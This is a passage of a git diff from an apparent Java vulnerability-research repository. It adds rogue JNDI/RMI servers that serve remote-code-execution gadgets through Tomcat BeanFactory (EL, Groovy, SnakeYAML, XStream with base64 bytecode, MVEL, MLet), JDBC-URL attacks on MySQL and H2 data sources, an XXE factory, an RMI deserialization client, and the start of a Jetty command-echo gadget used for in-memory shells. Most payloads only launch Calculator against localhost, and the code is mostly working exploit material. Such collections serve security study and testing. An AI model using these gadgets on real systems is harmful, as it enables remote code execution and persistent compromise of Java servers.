BAAkAAAARAAEAAQAAAAUqtwALsQAAAAAAAHB0AAZhbnlTdHJwdwEAeHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA==")); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + } +} diff --git a/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/LocalBeanFactoryServer.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/LocalBeanFactoryServer.java new file mode 100644 index 0000000..566e853 --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/LocalBeanFactoryServer.java @@ -0,0 +1,168 @@ +package jndi; + +import com.sun.jndi.rmi.registry.ReferenceWrapper; +import org.apache.naming.ResourceRef; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +/** + * @author Whoopsunix + */ +public class LocalBeanFactoryServer { + public static void main(String args[]) throws Exception { + TomcatEL(); + GroovyClassLoader(); + GroovyGroovyShell(); + MLet(); + Snakeyaml(); + Lib(); + XStream(); + mvel(); + + System.out.println("server is running"); + } + + public static void TomcatEL() throws Exception { + Registry registry = LocateRegistry.createRegistry(1099); + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, + "org.apache.naming.factory.BeanFactory", null); + + // BeanFactory.getObjectInstance + ref.add(new StringRefAddr("forceString", "Whoopsunix=eval")); + ref.add(new StringRefAddr("Whoopsunix", "Runtime.getRuntime().exec('open -a Calculator.app')")); + // EL 表达式 +// ref.add(new StringRefAddr("Whoopsunix", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','Calculator.app']).start()\")")); + + ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); + registry.bind("EL", referenceWrapper); + } + + public static void GroovyClassLoader() throws Exception { + Registry registry = LocateRegistry.createRegistry(1098); + ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true, + "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "Whoopsunix=parseClass")); + String script = "@groovy.transform.ASTTest(value={\n" + + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")\n" + + "})\n" + + "def x\n"; + ref.add(new StringRefAddr("Whoopsunix", script)); + + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); + registry.bind("GroovyClassLoader", referenceWrapper); + } + + public static void GroovyGroovyShell() throws Exception { + Registry registry = LocateRegistry.createRegistry(1097); + ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, + "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "Whoopsunix=evaluate")); + ref.add(new StringRefAddr("Whoopsunix", "'open -a Calculator.app'.execute()")); + + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); + registry.bind("GroovyShell", referenceWrapper); + } + + + public static void MLet() throws Exception { + Registry registry = LocateRegistry.createRegistry(1094); + ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "", true, + "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass")); + ref.add(new StringRefAddr("a", "java.lang.String")); + ref.add(new StringRefAddr("b", "http://127.0.0.1:1111/")); + ref.add(new StringRefAddr("c", "Find")); + + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); + registry.bind("MLet", referenceWrapper); + } + + public static void Snakeyaml() throws Exception { + Registry registry = LocateRegistry.createRegistry(1093); + ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", + true, "org.apache.naming.factory.BeanFactory", null); + + String jar = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"http://127.0.0.1:1234/SnakeyamlDemo-1.0.jar\"]\n" + + " ]]\n" + + "]"; + + ref.add(new StringRefAddr("forceString", "Whoopsunix=load")); + ref.add(new StringRefAddr("Whoopsunix", jar)); + + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); + registry.bind("Snakeyaml", referenceWrapper); + } + + // todo 其他 + public static void Lib() throws Exception { + Registry registry = LocateRegistry.createRegistry(1092); + ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "", + true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "a=loadLibrary")); + ref.add(new StringRefAddr("a", "../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/Exec")); + + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); + registry.bind("Lib", referenceWrapper); + } + + public static void XStream() throws Exception { + Registry registry = LocateRegistry.createRegistry(1091); + ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "", + true, "org.apache.naming.factory.BeanFactory", null); + String xml = "\n" + + " \n" + + " \n" + + " \n" + + " 2\n" + + " \n" + + " \n" + + " \n" + + " newTransformer\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 3\n" + + " \n" + + " \n" + + " \n" + + " <__name>anyStr\n" + + " <__bytecodes>\n" + + " yv66vgAAADIAIAEAKW9yZy9hcGFjaGUvY29yZS9hc3luY2NvbnRleHRpbXBsL0NhdGFsaW5hBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgEABENvZGUMAAUABgoABAAIAQAgamF2YXgvc2NyaXB0L1NjcmlwdEVuZ2luZU1hbmFnZXIHAAoKAAsACAEAAmpzCAANAQAPZ2V0RW5naW5lQnlOYW1lAQAvKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvc2NyaXB0L1NjcmlwdEVuZ2luZTsMAA8AEAoACwARAQA+amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoJ29wZW4gLWEgQ2FsY3VsYXRvci5hcHAnKTsIABMBABlqYXZheC9zY3JpcHQvU2NyaXB0RW5naW5lBwAVAQAEZXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DAAXABgLABYAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQAhAAIABAAAAAEAGgAbABwAAQAfAAAAAgAdAAEAAQAFAAYAAQAHAAAAKwACAAQAAAAfKrcACbsAC1m3AAxMKxIOtgASTRIUTiwtuQAaAgBXsQAAAAAAAA==\n" + + " yv66vgAAADIAEQEAPW9yZy9hcGFjaGUvcm9vdGV4dGVybmFsY29udGV4dHJlc291cmNlbG9hZGVyL215ZmFjZXMvUmVzb3VyY2UHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAUamF2YS9pby9TZXJpYWxpemFibGUHAAUBAAY8aW5pdD4BAAMoKVYBAARDb2RlDAAHAAgKAAQACgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQAhAAIABAABAAYAAQAaAAwADQABABAAAAACAA4AAQABAAcACAABAAkAAAARAAEAAQAAAAUqtwALsQAAAAAAAA==\n" + + " \n" + + " <__transletIndex>0\n" + + " <__indentNumber>0\n" + + " \n" + + " false\n" + + " \n" + + " \n" + + " 1\n" + + " \n" + + ""; + ref.add(new StringRefAddr("forceString", "Whoopsunix=fromXML")); + ref.add(new StringRefAddr("Whoopsunix", xml)); + + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); + registry.bind("XStream", referenceWrapper); + } + + public static void mvel() throws Exception { + Registry registry = LocateRegistry.createRegistry(1090); + ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "", + true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "Whoopsunix=exec")); + ref.add(new StringRefAddr("Whoopsunix", "Runtime.getRuntime().exec(\"open -a Calculator.app\")")); + + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); + registry.bind("mvel", referenceWrapper); + } + + +} diff --git a/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/LocalJDBCServer.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/LocalJDBCServer.java new file mode 100644 index 0000000..a22d41c --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/LocalJDBCServer.java @@ -0,0 +1,120 @@ +package jndi; + +import com.sun.jndi.rmi.registry.ReferenceWrapper; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +/** + * @author Whoopsunix + */ +public class LocalJDBCServer { + public static void main(String args[]) throws Exception { + tomcatDBCP2(); + tomcatDBCP(); + commonsDBCP2(); + commonsDBCP(); + tomcatH2DBCP2(); + alibabaDruid(); + + System.out.println("server is running"); + } + + public static void tomcatDBCP2() throws Exception { + Registry registry = LocateRegistry.createRegistry(1099); + Reference ref = new Reference("javax.sql.DataSource", + "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null); + ref.add(new StringRefAddr("driverClassName", "com.mysql.jdbc.Driver")); + ref.add(new StringRefAddr("url", "jdbc:mysql://127.0.0.1:3306/test?maxAllowedPacket=655360&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_open -a Calculator.app")); + ref.add(new StringRefAddr("initialSize", "1")); + +// if (props.getProperty("sql") != null) { +// ref.add(new StringRefAddr("connectionInitSqls", props.getProperty("sql"))); +// } + + ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); + registry.bind("tomcatDBCP2", referenceWrapper); + } + + public static void tomcatDBCP() throws Exception { + Registry registry = LocateRegistry.createRegistry(1098); + Reference ref = new Reference("javax.sql.DataSource", + "org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory", null); + ref.add(new StringRefAddr("driverClassName", "com.mysql.jdbc.Driver")); + ref.add(new StringRefAddr("url", "jdbc:mysql://127.0.0.1:3306/test?maxAllowedPacket=655360&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_open -a Calculator.app")); + ref.add(new StringRefAddr("initialSize", "1")); + +// if (props.getProperty("sql") != null) { +// ref.add(new StringRefAddr("connectionInitSqls", props.getProperty("sql"))); +// } + + ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); + registry.bind("tomcatDBCP", referenceWrapper); + } + + public static void commonsDBCP2() throws Exception { + Registry registry = LocateRegistry.createRegistry(1097); + Reference ref = new Reference("javax.sql.DataSource", + "org.apache.commons.dbcp2.BasicDataSourceFactory", null); + ref.add(new StringRefAddr("driverClassName", "com.mysql.jdbc.Driver")); + ref.add(new StringRefAddr("url", "jdbc:mysql://127.0.0.1:3306/test?maxAllowedPacket=655360&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_open -a Calculator.app")); + ref.add(new StringRefAddr("initialSize", "1")); + +// if (props.getProperty("sql") != null) { +// ref.add(new StringRefAddr("connectionInitSqls", props.getProperty("sql"))); +// } + + ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); + registry.bind("commonsDBCP2", referenceWrapper); + } + + public static void commonsDBCP() throws Exception { + Registry registry = LocateRegistry.createRegistry(1096); + Reference ref = new Reference("javax.sql.DataSource", + "org.apache.commons.dbcp.BasicDataSourceFactory", null); + ref.add(new StringRefAddr("driverClassName", "com.mysql.jdbc.Driver")); + ref.add(new StringRefAddr("url", "jdbc:mysql://127.0.0.1:3306/test?maxAllowedPacket=655360&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_open -a Calculator.app")); + ref.add(new StringRefAddr("initialSize", "1")); + +// if (props.getProperty("sql") != null) { +// ref.add(new StringRefAddr("connectionInitSqls", props.getProperty("sql"))); +// } + + ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); + registry.bind("commonsDBCP", referenceWrapper); + } + + public static void tomcatH2DBCP2() throws Exception { + Registry registry = LocateRegistry.createRegistry(1095); + Reference ref = new Reference("javax.sql.DataSource", + "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null); + ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); + ref.add(new StringRefAddr("url", "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('open -a calculator.app')\\;")); + ref.add(new StringRefAddr("initialSize", "1")); + ref.add(new StringRefAddr("username", "root")); + ref.add(new StringRefAddr("password", "password")); + + ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); + registry.bind("tomcatH2DBCP2", referenceWrapper); + } + + // https://xz.aliyun.com/t/10656 + public static void alibabaDruid() throws Exception { + Registry registry = LocateRegistry.createRegistry(1094); + Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null); + + ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); + ref.add(new StringRefAddr("url", "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('open -a calculator.app')\\;")); + ref.add(new StringRefAddr("username", "root")); + ref.add(new StringRefAddr("password", "password")); + ref.add(new StringRefAddr("initialSize", "1")); + ref.add(new StringRefAddr("init", "true")); + + ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); + registry.bind("alibabaDruid", referenceWrapper); + } + + +} diff --git a/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/LocalServiceFactoryServer.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/LocalServiceFactoryServer.java new file mode 100644 index 0000000..e2c30a2 --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/LocalServiceFactoryServer.java @@ -0,0 +1,47 @@ +package jndi; + +import com.sun.jndi.rmi.registry.ReferenceWrapper; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +/** + * @author Whoopsunix + */ +public class LocalServiceFactoryServer { + public static void main(String args[]) throws Exception { + WebSphere1(); + WebSphere2(); + + System.out.println("server is running"); + } + + // todo https://github.com/veracode-research/rogue-jndi/blob/master/src/main/java/artsploit/controllers/WebSphere1.java + public static void WebSphere1() throws Exception { + Registry registry = LocateRegistry.createRegistry(1099); + javax.naming.Reference ref = new Reference("ExploitObject", + "com.ibm.ws.webservices.engine.client.ServiceFactory", null); + ref.add(new StringRefAddr("WSDL location", "http://127.0.0.1/wsdl/list.wsdl")); + ref.add(new StringRefAddr("service namespace", "xxx")); + ref.add(new StringRefAddr("service local part", "yyy")); + + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); + registry.bind("WebSphere", referenceWrapper); + } + + // todo https://github.com/veracode-research/rogue-jndi/blob/master/src/main/java/artsploit/controllers/WebSphere2.java + public static void WebSphere2() throws Exception { +// Registry registry = LocateRegistry.createRegistry(1098); +// javax.naming.Reference ref = new Reference("ExportObject", +// "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null); +// Properties refProps = new Properties(); +// refProps.put("com.ibm.ws.client.classpath", "http://127.0.0.1/wsdl/upload.wsdl"); +// refProps.put("com.ibm.ws.client.classname", "xExportObject"); +// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddr("JMSProperties", refProps)); +// +// ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); +// registry.bind("WebSphere", referenceWrapper); + } +} diff --git a/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/LocalXXERCEServer.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/LocalXXERCEServer.java new file mode 100644 index 0000000..f7c3fc2 --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/LocalXXERCEServer.java @@ -0,0 +1,36 @@ +package jndi; + +import com.sun.jndi.rmi.registry.ReferenceWrapper; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +/** + * @author Whoopsunix + */ +public class LocalXXERCEServer { + public static void main(String args[]) throws Exception { + xxe(); + + System.out.println("server is running"); + } + + public static void xxe() throws Exception { + Registry registry = LocateRegistry.createRegistry(1099); + Reference ref = new Reference("org.apache.catalina.UserDatabase", + "org.apache.catalina.users.MemoryUserDatabaseFactory", null); + ref.add(new StringRefAddr("pathname", "http://127.0.0.1:1234/poc.xml")); + + ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); + registry.bind("xxe", referenceWrapper); + } + + // todo RCE https://www.cnblogs.com/bitterz/p/15946406.html#222-rce + public static void rce() throws Exception { + + } + + +} diff --git a/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/RMIServer.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/RMIServer.java new file mode 100644 index 0000000..5e8fb9f --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/RMIServer.java @@ -0,0 +1,20 @@ +package jndi; + +import com.sun.jndi.rmi.registry.ReferenceWrapper; + +import javax.naming.Reference; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +/** + * @author Whoopsunix + */ +public class RMIServer { + public static void main(String[] args) throws Exception { + Registry registry = LocateRegistry.createRegistry(1099); + Reference reference = new Reference("Exec", "jndi.Exec", "http://127.0.0.1:1234/"); + ReferenceWrapper wrapper = new ReferenceWrapper(reference); + registry.bind("Exec", wrapper); + System.out.println("run in 1099"); + } +} diff --git a/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/poc.xml b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/poc.xml new file mode 100644 index 0000000..4873c13 --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/poc.xml @@ -0,0 +1 @@ +]>&xxe; \ No newline at end of file diff --git a/JNDIAttack/src/main/java/registry/Bind.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/registry/Bind.java similarity index 98% rename from JNDIAttack/src/main/java/registry/Bind.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/registry/Bind.java index 871ef8e..75df35c 100644 --- a/JNDIAttack/src/main/java/registry/Bind.java +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/registry/Bind.java @@ -24,7 +24,7 @@ public static void main(String[] args) throws Exception { new Class[]{Remote.class}, (InvocationHandler) annotationInvocationHandler)); // 远程 - Registry registry_remote = LocateRegistry.getRegistry("192.168.66.143", 1099); + Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099); registry_remote.bind("Hello", proxyEvalObject); // 自封装 diff --git a/JNDIAttack/src/main/java/registry/Lookup.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/registry/Lookup.java similarity index 98% rename from JNDIAttack/src/main/java/registry/Lookup.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/registry/Lookup.java index afb773f..6938f5e 100644 --- a/JNDIAttack/src/main/java/registry/Lookup.java +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/registry/Lookup.java @@ -30,7 +30,7 @@ public static void main(String[] args) throws Exception { new Class[]{Remote.class}, (InvocationHandler) annotationInvocationHandler)); // 客户端逻辑 - Registry registry_remote = LocateRegistry.getRegistry("192.168.66.143", 1099); + Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099); // lookup 逻辑 // 获取super.ref diff --git a/JNDIAttack/src/main/java/registry/VulRegistryServer.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/registry/VulRegistryServer.java similarity index 100% rename from JNDIAttack/src/main/java/registry/VulRegistryServer.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/registry/VulRegistryServer.java diff --git a/JNDIAttack/src/main/java/server/AttackRMIClient.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/server/AttackRMIClient.java similarity index 62% rename from JNDIAttack/src/main/java/server/AttackRMIClient.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/server/AttackRMIClient.java index f9c7c2b..4cebfd7 100644 --- a/JNDIAttack/src/main/java/server/AttackRMIClient.java +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/server/AttackRMIClient.java @@ -3,6 +3,9 @@ import utils.Serializer; import java.lang.reflect.Method; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.util.Arrays; /** @@ -15,19 +18,21 @@ public static void main(String[] args) throws Exception { /** * 参数攻击 */ -// Object annotationInvocationHandler = Serializer.cc6("open -a Calculator.app"); -// VulRemoteInterface vulRemoteInterface = (VulRemoteInterface) java.rmi.Naming.lookup("rmi://192.168.66.143:1099/xxx"); -// vulRemoteInterface.sayHello(annotationInvocationHandler); + Object annotationInvocationHandler = Serializer.cc6("open -a Calculator.app"); + VulRemoteInterface vulRemoteInterface = (VulRemoteInterface) java.rmi.Naming.lookup("rmi://127.0.0.1:1099/xxx"); + vulRemoteInterface.sayHello(annotationInvocationHandler); /** * 参数攻击2 */ // Object annotationInvocationHandler = Serializer.cc6("open -a Calculator.app"); -// VulRemoteInterface vulRemoteInterface = (VulRemoteInterface) java.rmi.Naming.lookup("rmi://192.168.66.143:1099/xxx"); +// VulRemoteInterface vulRemoteInterface = (VulRemoteInterface) java.rmi.Naming.lookup("rmi://127.0.0.1:1099/xxx"); // vulRemoteInterface.sayUser(annotationInvocationHandler); // // 反射 // Method method = vulRemoteInterface.getClass().getMethod("sayUser", Object.class); // method.invoke(vulRemoteInterface, annotationInvocationHandler); + + } } diff --git a/JNDIAttack/src/main/java/server/User.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/server/User.java similarity index 100% rename from JNDIAttack/src/main/java/server/User.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/server/User.java diff --git a/JNDIAttack/src/main/java/server/VulRemoteInterface.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/server/VulRemoteInterface.java similarity index 100% rename from JNDIAttack/src/main/java/server/VulRemoteInterface.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/server/VulRemoteInterface.java diff --git a/JNDIAttack/src/main/java/server/VulRemoteObject.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/server/VulRemoteObject.java similarity index 100% rename from JNDIAttack/src/main/java/server/VulRemoteObject.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/server/VulRemoteObject.java diff --git a/JNDIAttack/src/main/java/server/VulRemoteServer.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/server/VulRemoteServer.java similarity index 88% rename from JNDIAttack/src/main/java/server/VulRemoteServer.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/server/VulRemoteServer.java index 9370537..5512140 100644 --- a/JNDIAttack/src/main/java/server/VulRemoteServer.java +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/server/VulRemoteServer.java @@ -15,8 +15,7 @@ public static void main(String[] args) throws Exception{ VulRemoteInterface remoteObject = new VulRemoteObject(); // 这个地址是客户端要访问的地址 - Naming.rebind("rmi://192.168.66.143/xxx", remoteObject); + Naming.rebind("rmi://0.0.0.0/xxx", remoteObject); System.out.println("Server Start"); - } } \ No newline at end of file diff --git a/JNDIAttack/src/main/java/utils/ClassFiles.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/utils/ClassFiles.java similarity index 100% rename from JNDIAttack/src/main/java/utils/ClassFiles.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/utils/ClassFiles.java diff --git a/JNDIAttack/src/main/java/utils/Reflections.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/utils/Reflections.java similarity index 100% rename from JNDIAttack/src/main/java/utils/Reflections.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/utils/Reflections.java diff --git a/JNDIAttack/src/main/java/utils/Serializer.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/utils/Serializer.java similarity index 100% rename from JNDIAttack/src/main/java/utils/Serializer.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/utils/Serializer.java diff --git a/SecVulns/VulnCore/JNI/pom.xml b/SecVulns/VulnCore/JNI/pom.xml new file mode 100644 index 0000000..1e3ad64 --- /dev/null +++ b/SecVulns/VulnCore/JNI/pom.xml @@ -0,0 +1,25 @@ + + 4.0.0 + + com.ppp + JNI + 1.0 + jar + + JNI + http://maven.apache.org + + + UTF-8 + + + + + junit + junit + 3.8.1 + test + + + diff --git a/SecVulns/VulnCore/JNI/src/main/java/com/ppp/JNIAttack.java b/SecVulns/VulnCore/JNI/src/main/java/com/ppp/JNIAttack.java new file mode 100644 index 0000000..abec953 --- /dev/null +++ b/SecVulns/VulnCore/JNI/src/main/java/com/ppp/JNIAttack.java @@ -0,0 +1,10 @@ +package com.ppp; + +/** + * @author Whoopsunix + */ +public class JNIAttack { + public static void load(String file) { + System.load(file); + } +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/pom.xml b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/pom.xml new file mode 100644 index 0000000..9ddbbb1 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/pom.xml @@ -0,0 +1,38 @@ + + 4.0.0 + org.example + JakartaJettyDemo + war + 1.0 + JettyDemo + + + + org.eclipse.jetty + jetty-webapp + 11.0.0 + + + + com.ppp.tools + Utils + 1.0 + + + + + JettyDemo + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 11 + 11 + + + + + diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/RunJetty.java b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/RunJetty.java new file mode 100644 index 0000000..0f58718 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/RunJetty.java @@ -0,0 +1,41 @@ +package org.example.jetty; + +import jakarta.servlet.MultipartConfigElement; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.servlet.ServletContextHandler; +import org.eclipse.jetty.servlet.ServletHolder; +import org.example.jetty.servlet.Base64DeSerializerServlet; +import org.example.jetty.servlet.BinaryDeSerializerServlet; + +/** + * @author Whoopsunix + */ +public class RunJetty { + public static void main(String[] args) throws Exception { + // 创建 Jetty 服务器 + Server server = new Server(8080); + + // 创建 Servlet 上下文处理器 + ServletContextHandler context = new ServletContextHandler(ServletContextHandler.SESSIONS); + context.setContextPath("/"); + + // 添加 Servlet 到上下文 + context.addServlet(new ServletHolder(new Base64DeSerializerServlet()), "/base64"); + + ServletHolder binaryServletHolder = new ServletHolder(new BinaryDeSerializerServlet()); + binaryServletHolder.getRegistration().setMultipartConfig(createMultipartConfig()); + context.addServlet(binaryServletHolder, "/binary"); + + // 将上下文添加到服务器 + server.setHandler(context); + + // 启动服务器 + server.start(); + server.join(); + } + + private static MultipartConfigElement createMultipartConfig() { + return new MultipartConfigElement("/tmp", 1024 * 1024, 1024 * 1024 * 5, 1024 * 1024); + } + +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/gadget/JettyEcho.java b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/gadget/JettyEcho.java new file mode 100644 index 0000000..5e4e8e9 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/gadget/JettyEcho.java @@ -0,0 +1,130 @@ +package org.example.jetty.gadget; + +import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author Whoopsunix + *

+ * TargetObject = {java.lang.Thread} + * ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} + * ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} + * ---> [13] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} + * ---> value = {org.eclipse.jetty.server.AsyncHttpConnection} + * ---> _request = {org.eclipse.jetty.server.Request} + * idea_express: TargetObject.threadLocals.get("table").get("13").get("value")._request + * + * Vsersion test + * 7.x、8.x、9.x、10.x、11.x + */ +public class JettyEcho { + private static String HEADER = "Xoken"; + private static String PARAM = "cmd"; + public JettyEcho() { + try { + Object threadLocals = getFieldValue(Thread.currentThread(), "threadLocals"); + Object[] table = (Object[]) getFieldValue(threadLocals, "table"); + for (int i = 0; i < table.length; i++) { + Object entry = table[i]; + if (entry == null) + continue; + Object value = getFieldValue(entry, "value"); + if (value == null) + continue; + + Object request = null; + Object response = null; + + // Jetty 7 低版本 org.eclipse.jetty.server.nio.SelectChannelConnector + // Jetty 7 8 org.eclipse.jetty.server.AsyncHttpConnection + // Jetty 9、10 org.eclipse.jetty.server.HttpConnection + if (value.getClass().getName().contains("org.eclipse.jetty.server.nio.SelectChannelConnector") + || value.getClass().getName().equals("org.eclipse.jetty.server.AsyncHttpConnection")) { + request = getFieldValue(value, "_request"); + response = 